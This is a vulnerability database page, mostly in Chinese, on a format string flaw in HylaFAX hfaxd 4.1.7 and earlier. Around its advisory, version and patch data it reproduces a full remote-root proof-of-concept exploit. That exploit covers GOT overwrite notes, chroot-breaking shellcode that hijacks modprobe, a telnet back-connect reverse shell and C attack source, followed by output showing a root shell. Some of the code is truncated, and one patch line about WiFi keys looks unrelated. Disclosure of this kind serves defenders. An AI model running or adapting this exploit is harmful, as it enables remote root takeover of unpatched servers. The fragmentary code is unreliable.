发布时间 :2003-12-01 00:00:00
修订时间 :2016-10-17 22:38:11

[原文]Format string vulnerability in hfaxd for Hylafax 4.1.7 and earlier allows remote attackers to execute arbitrary code.

[CNNVD]Hylafax HFaxD未明格式串处理漏洞(CNNVD-200312-012)

        Hylafax hfaxd在接收到TSI字符串,在日志记录之前没有进行充分检查,提交格式串的TSI字符串可导致faxgetty产生段错误,虽然接收协议限制TSI字符串为20个字符,不过仍旧存在可能以HylaFAX进程权限在系统上执行任意指令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20031111 HylaFAX - Format String Vulnerability Fixed
(UNKNOWN)  SUSE  SuSE-SA:2003:045

- 漏洞信息

Hylafax HFaxD未明格式串处理漏洞
危急 输入验证
2003-12-01 00:00:00 2005-10-20 00:00:00
        Hylafax hfaxd在接收到TSI字符串,在日志记录之前没有进行充分检查,提交格式串的TSI字符串可导致faxgetty产生段错误,虽然接收协议限制TSI字符串为20个字符,不过仍旧存在可能以HylaFAX进程权限在系统上执行任意指令。

- 公告与补丁

        * 安装者必须更改Shared Secret和WiFI密钥。
        Conectiva Patch hylafax-4.1.3-19097U90_1cl.i386.rpm
        Hylafax Upgrade hylafax-4.1.8.tar.gz

- 漏洞信息 (23371)

Hylafax 4.1.x HFaxD Unspecified Format String Vulnerability (EDBID:23371)
linux remote
2003-11-10 Verified
0 Sebastian Krahmer
N/A [点击下载]

Hylafax hfaxd (daemon) has been reported prone to an unspecified format string vulnerability that may be exploited under non-standard configurations to execute arbitrary instructions remotely as the root user.

/*** Hylafax remote root PoC exploit
     (C) 2003 Sebastian Krahmer  <>


The phrack 59 ( !) article about format strings
on the heap helped a lot. Thanks to gera, fozzy and juliano
for hints.

How to get the right n$ values from syslog:

Sep 29 05:16:22 linux HylaFAX[2704]: command: site trigger %350$x
Sep 29 05:16:22 linux HylaFAX[2704]: ??? bfffff24

So, %350$n is a good choice since a write would located on valid stack.

Sep 29 05:05:24 linux HylaFAX[2644]: command: site trigger %959$x
Sep 29 05:05:24 linux HylaFAX[2644]: ??? 4f464e49

At 0xbffff24 you find the value 0x4f464e49 via gdb, and
brute forcing %1$x to %1000$x shows that at %959$x (see syslog
output above) the value of the 0xbffff24 pointer can be found.
Thus we first write the GOT address we want to modify to 0xbffff24
via the %350$n and then using the value of *0xbffff24 (which is the
address of the GOT entry we want to modify) as a pointer again to
finally write the GOT entry.

strace -i -e raw=read -etrace=read  -f -p 3293 2>&1

[pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x400
                               ^^^^^^^^^ network input buffer

[pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x9

(gdb) x/100x 0x808c6b8
0x808c6f8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c708:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c718:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c728:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c738:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c748:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c758:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c768:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c778:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c788:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c798:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7a8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7b8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7c8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc

0x804c1f0 <fprintf>:    jmp    *0x80835e0
(gdb) x/i 0x804c1f0

Thus, some value like 0x808c6b8 should be written to the address 0x80835e0.
This gives the format strings:

 site trigger %%134755804d%%350$n\n"
                ^^^^^^^^^ This is the GOT entry minus 4 (0x80835e0-4)

 site trigger %%%ud%%%d$n\n",
                 ^^ here the address of the buffer holding the shellcode
                    is palced i.e. 0x808c780. This is variable in the
                    target struct.

The 0th target (-t 0) is a debug target which makes hfaxd sending all
the fine stuff to syslogd. Then you can look which n$ are usable.

Now for the shellcode: we need a chroot breakign one. It mounts proc
to the chroot cage, modifies modprobe path via it and triggers a
modprobe call by kernel via an invalid ELF file. The called
"modprobe" is indeed a back-connecting shellscript. Outta.

<--- shellcode -->
; nasm -f elf code.s

GLOBAL cbegin

	xor eax, eax
	mov al, 23
	xor ebx, ebx
	int 0x80		; setuid(0)

	jmp short proc1

; mount proc FS

	pop ebx
	xor ecx, ecx
	mov [ebx+4], cl		; terminate string with \0
	xor eax, eax
	mov al, 39
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; mkdir("proc", 0755);

	mov ecx, ebx
	mov edx, ebx
	xor esi, esi
	xor edi, edi
	xor eax, eax
	mov al, 21		; mount("proc", "proc", "proc", 0, NULL)
	int 0x80

	jmp short pshell1

; open connect shell script
	pop ebx
	xor eax, eax
	mov [ebx+1], al		; terminate string with \0
	mov al, 8
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; creat("p", 0777);	

	jmp short connect1

	jmp short proc
; write it 
	pop ecx
	mov ebx, eax
	dec byte [ecx+9]	; create a '\n'
	mov al, 4
	xor edx, edx
	mov dl, 68
	int 0x80		; write("#!/bin/sh...", 68)

	mov al, 6
	int 0x80		; close

	jmp short elfp

; open weird ELF file to trigger modprobe
	pop ebx
	xor eax, eax
	mov [ebx+3], al		; terminate string with \0
	mov al, 8
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; creat("elf", 0777);	

	jmp short elfh		;

; write weird ELF
welf:	pop ecx
	mov ebx, eax		; fd to ebx
	xor edx, edx
	mov dl, 20
	mov al, 4
	int 0x80		; write()

	mov al, 6
	int 0x80		; close weird ELF

	jmp short modp

	jmp short pshell

	pop ebx
	xor eax, eax
	mov al, 5
	xor ecx, ecx
	mov [ebx+24], cl
	inc cl
	int 0x80		; open("...modprobe", 1)

	jmp short mpath

	pop ecx
	mov ebx, eax		; fd to ebx
	mov al, 4
	xor edx, edx
	mov dl, 16
	int 0x80		; write(fd, "/var/spool/fax/p", 16)
	mov al, 6
	int 0x80		; close

	mov al, 11
	xor ecx, ecx

	jmp short elfp2	

	jmp short connect

	pop ebx
	mov [ebx+3], cl
	push ecx
	push ebx
	mov ecx, esp
	xor edx, edx
	int 0x80		; execve("elf",...)

	call mountit
	db "proc."

elfp:				; ELF path
	call oelf
	db "elf."

elfh:				; ELF header triggering modprobe
	call welf
	db 0x45, 0x7f, 0x46, 0x4c, 0x01, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1
	db 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x22, 0x22

	call wm
	db "/var/spool/fax/p"

	call op
	db "p."

	call om
	db "proc/sys/kernel/modprobe."

	call exec
	db "elf."

	call wp
	db "#!/bin/sh",0xb
;	db "telnet 3128|sh|telnet 8080"

<-- shellcode -->

$ ./a.out -h -t 1 -b

>>> Hylafax exploit <<<

> Attempting to exploit hylafax-4.1.5-43 on

site trigger %134755804d%350$n
site trigger %134793088d%967$n

Connected to
Escape character is '^]'.
Linux linux 2.4.20-4GB #1 Mon Mar 17 17:54:44 UTC 2003 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
 12:29:38 up  9:07,  6 users,  load average: 2.25, 2.10, 2.23
stealth  tty2      03:23   48:24   0.73s  0.05s /usr/X11R6/bin/xinit4
stealth  pts/2     11:42    1:41   0.61s  1.06s xterm
stealth  pts/1     11:42    1.00s  4.50s  0.01s ./a.out -h -t 1 -b 19
stealth  pts/3     11:42    6.00s  0.66s  3.08s xterm
stealth  pts/4     12:24    2:52   0.27s  0.30s xterm

In order to work, the config need a debug level of at least 2:

ServerTracing:          0x002

in hfaxd.conf.


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>

/* Shellcodes. 
unsigned char x86_sigtrap[] = 

unsigned char x86_lnx_create_blub[] =

unsigned char x86_lnx_proc_chroot_backconnect[] =

unsigned char back_ip[128];

struct {
	char *dist, *package, *fmt, *code;
	u_int16_t n1, n2;
	u_int32_t nbuf;
} targets[] = {
	{ "debug", "debug", "debug", "debug", 0, 1, 0
	{ "SuSE Linux 8.2",
	  "site trigger %%134755804d%%350$n\n"
	  "site trigger %%%ud%%%d$n\n", // 350->bfffff24, 963->4f464e49
	  950, 999,	/* start/stop values for bruteforcing 2nd n$ */
	{ "SuSE Linux 8.1",
	  "site trigger %%134748344d%%334$n\n"//0x804c1d4, *0x80818bc
	  "site trigger %%%ud%%%d$n\n", // 334->bfffff24, 947->4f464e49
	  940, 999,

int verbose = 0;

int list_targets()
	int i;
	for (i = 0; i < sizeof(targets)/sizeof(targets[0]); ++i) {
		printf("\n%d: %s / %s\n", i, targets[i].dist, targets[i].package);
	return 0;

void die(const char *s)

int writen(int fd, const void *buf, size_t len)
	int o = 0, n;

	while (len > 0) {
		if ((n = write(fd, buf+o, len)) < 0)
			return n;
		len -= n;
		o += n;
	return o;

/* Simple tcp_connect(). Disables Nagle.
int tcp_connect(const char *host, u_short port)
	int sock, one = 1, len = sizeof(one);
	struct hostent *he;
	struct sockaddr_in sin;

	if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)

	if ((he = gethostbyname(host)) == NULL) {

	memset(&sin, 0, sizeof(sin));
	memcpy(&sin.sin_addr, he->h_addr, he->h_length);
	sin.sin_family = AF_INET;
	sin.sin_port = port == 0 ? htons(4559):htons(port);

	if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
		return -1;
	if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0)

	return sock;

void usage(const char *s)
	fprintf(stderr, "\nHylafucks remote hylafax PoC exploit\n\n" 
	                "Usage: %s [-u user] [-p pass] <-h host> [-p port] [-v] [-t target] <-b connect IP>\n\n"
	                "\t-u user:\tthe user to login as (default 'foo')\n"
	                "\t-p pass:\tthe password (default 'bar', note: user/pass are not always\n"
	                "\t\t\trequired on all setups\n"
	                "\t-t target:\tspecifies remote package/OS\n"
	                "\t-b IP:\t\tthe IP for the back-connect\n\n"
	                "use -t -1 for a target list. 0 is debug target; 1 is default.\n"
	                "Port 3128 and 8080 are used on local machine for the backconnect.\n\n", s);

void wait4shell(int p)
	int	l, s1, s2, a1, a2;
	char	buf[512];
	fd_set	rfds;
	char *cmd = "unset HISTFILE;uname -a;id;w\n";
	struct sockaddr_in p8080, p3128;

	memset(&p8080, 0, sizeof(p8080));
	memset(&p3128, 0, sizeof(p3128));

	/* Open 2 ports: 3128 and 8080 */
	p8080.sin_family = AF_INET;
	p8080.sin_addr.s_addr = INADDR_ANY;
	p8080.sin_port = htons(8080);
	p3128.sin_family = AF_INET;
	p3128.sin_addr.s_addr = INADDR_ANY;
	p3128.sin_port = htons(3128);

	if ((s1 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
	if ((s2 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
	if (bind(s1, (struct sockaddr*)&p3128, sizeof(p3128)) < 0)
	if (bind(s2, (struct sockaddr*)&p8080, sizeof(p8080)) < 0)

	if (listen(s1, 1) < 0)
	if (listen(s2, 1) < 0)

	if ((a1 = accept(s1, NULL, 0)) < 0)
	if ((a2 = accept(s2, NULL, 0)) < 0)

	kill(p, SIGKILL);

	if (writen(a1, cmd, strlen(cmd)) < 0)

	while (1) {
		FD_SET(0, &rfds);
		FD_SET(a1, &rfds);
		FD_SET(a2, &rfds);

		select(a2 + 1, &rfds, NULL, NULL, NULL);
		if (FD_ISSET(0, &rfds)) {
			l = read(0, buf, sizeof (buf));
			if (l <= 0)
			writen(a1, buf, l);
		if (FD_ISSET(a2, &rfds)) {
			l = read(a2, buf, sizeof (buf));
			if (l == 0) {
				printf("connection closed by foreign host.\n");
			} else if (l < 0)
				die("wait4shell::read remote");
			writen(1, buf, l);

int expect_reply(int peer, const char *reply, char *buf, size_t blen)
	int done = 0, i = 0;

	memset(buf, 0, blen);
	while (!done) {
		if (i >= blen)
			die("Nuts! Too much response.");
		if (read(peer, &buf[i], 1) != 1)
		if (buf[i-1] == '\n') {
			if (verbose)
				printf("[\n%s]\n", buf);
			if (strstr(buf, reply) != NULL)
				done = 1;
			else {
				memset(buf, 0, blen);
				i = 0;
	return 0;

int send_overflow(char *host, int port, int target, char *user, char *pass)
	char buf[1024], *crash = NULL, bip[128];
	unsigned int i = 0;
	int peer = -1, r = 0;
	fd_set rset;
	struct timeval tv;

	for (i = targets[target].n1; i < targets[target].n2; ++i) {
		peer = tcp_connect(host, port);
		if (peer < 0)
		expect_reply(peer, "220", buf, sizeof(buf));

		/* build shellcode with back-connect IP; reserve space first */
		crash = malloc(strlen(targets[target].code) +
		               sizeof("telnet 3128|sh|"
 		                      "telnet 8080"));
		snprintf(bip, sizeof(bip), "telnet %s 3128|sh|telnet %s 8080",
			back_ip, back_ip);
		sprintf(crash, "%s%s", targets[target].code, bip);

		memset(buf, 0x90, sizeof(buf));

		/* ehm... */
		strcpy(&buf[sizeof(buf)-1]-strlen(crash)-1, crash);

		buf[sizeof(buf)-1] = '\n';
		if (writen(peer, buf, sizeof(buf)) < 0)
		expect_reply(peer, "500", buf, sizeof(buf));
		expect_reply(peer, "500", buf, sizeof(buf));

		/* USER/PASS epilogue */
		snprintf(buf, sizeof(buf), "user %s\n", user);
		if (writen(peer, buf, strlen(buf)) < 0)
		expect_reply(peer, "\n", buf, sizeof(buf));
		snprintf(buf, sizeof(buf), "pass %s\n", pass);
		if (writen(peer, buf, strlen(buf)) < 0)
		expect_reply(peer, "\n", buf, sizeof(buf));
		if (strcmp(targets[target].dist, "debug") == 0) {
			for (i = 1; i < 1000; ++i) {
				sprintf(buf, "site trigger %%%d$x\n", i);
				writen(peer, buf, strlen(buf));

		snprintf(buf, sizeof(buf), targets[target].fmt,
		         targets[target].nbuf, i);

		if (writen(peer, buf, strlen(buf)) < 0)
		printf("%s\n", buf);

		while (1) {
			FD_SET(peer, &rset);
			tv.tv_sec = 1;
			tv.tv_usec = 0;
			r = select(peer+1, &rset, NULL, NULL, &tv);
			if (!FD_ISSET(peer, &rset)) {

			r = read(peer, buf, sizeof(buf));

	return peer;

int main(int argc, char **argv)
	int peer = -1, c = 0, target = 1, port = 0,
	    d1 = 0, d2 = 0, d3 = 0, d4 = 0, p = 0;
	char *host = NULL, *back = NULL, *user = "foo", *pass = "bar";

	while ((c = getopt(argc, argv, "h:p:t:vb:u:P:")) != -1) {
		switch (c) {
		case 'h':
			host = strdup(optarg);
		case 'p':
			port = atoi(optarg);
		case 't':
			target = atoi(optarg);
		case 'v':
			verbose = 1;
		case 'b':
			back = strdup(optarg);
		case 'u':
			user = strdup(optarg);
		case 'P':
			pass = strdup(optarg);

	printf("\n>>> Hylafax exploit <<<\n\n");
	if (target == -1) {
		return 0;

	if (!host || !back)

	if (target >= sizeof(targets)/sizeof(targets[0])) {
		fprintf(stderr, "Invalid target!\n");
		return 1;

	/* normalize IP */
	sscanf(back, "%d.%d.%d.%d", &d1, &d2, &d3, &d4);
	sprintf(back_ip, "%03d.%03d.%03d.%03d", d1, d2, d3, d4);

	if (verbose)
		printf("Normalized back-connect IP: %s\n", back_ip);

	setbuffer(stdout, NULL, 0);

       printf("> Attempting to exploit %s on %s:(%d)\n\n",
		targets[target].package, host, port?port:4459);

	if (target != 0) {
		if ((p = fork()) > 0)

	peer = send_overflow(host, port, target, user, pass);

	fprintf(stderr, "Failed to exploit '%s'\n", host);
	return 0;


- 漏洞信息

HylaFAX hfaxd Format String
Local / Remote, Context Dependent Input Manipulation
Loss of Integrity

- 漏洞描述

A format string bug in HylaFAX versions 4.1 and earlier could allow a local attacker to gain root access when user input is supplied to the hfaxd binary and syslog() is called. By default, the hfaxd binary is installed setuid root with 'Everyone' access, which allows the attacker to gain root access to the system.

- 时间线

2003-11-11 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 4.1.8 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Hylafax HFaxD Unspecified Format String Vulnerability
Input Validation Error 9005
Yes No
2003-11-10 12:00:00 2009-07-12 12:56:00
This vulnerability was discovered and disclosed by the SuSE Security Team.

- 受影响的程序版本

Hylafax Hylafax 4.1.7
+ S.u.S.E. Linux Personal 9.0
Hylafax Hylafax 4.1.6
Hylafax Hylafax 4.1.5
+ S.u.S.E. Linux Personal 8.2
Hylafax Hylafax 4.1.3
+ Conectiva Linux 9.0
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ S.u.S.E. Linux 8.1
Hylafax Hylafax 4.1.2
Hylafax Hylafax 4.1.1
+ Debian Linux 3.0
Hylafax Hylafax 4.1
- FreeBSD FreeBSD 4.4
+ MandrakeSoft Corporate Server 1.0.1
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
+ S.u.S.E. Linux 8.0 i386
+ S.u.S.E. Linux 8.0
+ S.u.S.E. Linux 7.3 sparc
+ S.u.S.E. Linux 7.3 ppc
+ S.u.S.E. Linux 7.3 i386
+ S.u.S.E. Linux 7.3
Hylafax Hylafax 4.1.8

- 不受影响的程序版本

Hylafax Hylafax 4.1.8

- 漏洞讨论

Hylafax hfaxd (daemon) has been reported prone to an unspecified format string vulnerability that may be exploited under non-standard configurations to execute arbitrary instructions remotely as the root user.

- 漏洞利用

The following proof of concept exploit has been supplied:

- 解决方案

SuSE have released an advisory (SuSE-SA:2003:045) and fixes to address this issue on SuSE platforms. Users who are potentially affected by this issue are advised to download and install the applicable fixes as soon as possible. Further details regarding obtaining and applying fixes can be found in the referenced advisory.

Mandrake has released advisory MDKSA-2003:105 containing fix information for this issue. See the attached advisory for links to fixes.

Conectiva has released advisory CLA-2003:783 to address this issue.

Debian has released an advisory (DSA 401-1) and fixes to address this issue. See the referenced advisory for links to updated packages.

Gentoo has released an advisory that includes fixes to address this issue. Fixes can be applied with the following commands:

emerge --sync
emerge '>=net-misc/hylafax-4.1.8'
emerge clean

Hylafax has also released version 4.1.8 which addresses this issue.

Hylafax Hylafax 4.1

Hylafax Hylafax 4.1.1

Hylafax Hylafax 4.1.2

Hylafax Hylafax 4.1.3

Hylafax Hylafax 4.1.5

Hylafax Hylafax 4.1.6

Hylafax Hylafax 4.1.7

- 相关参考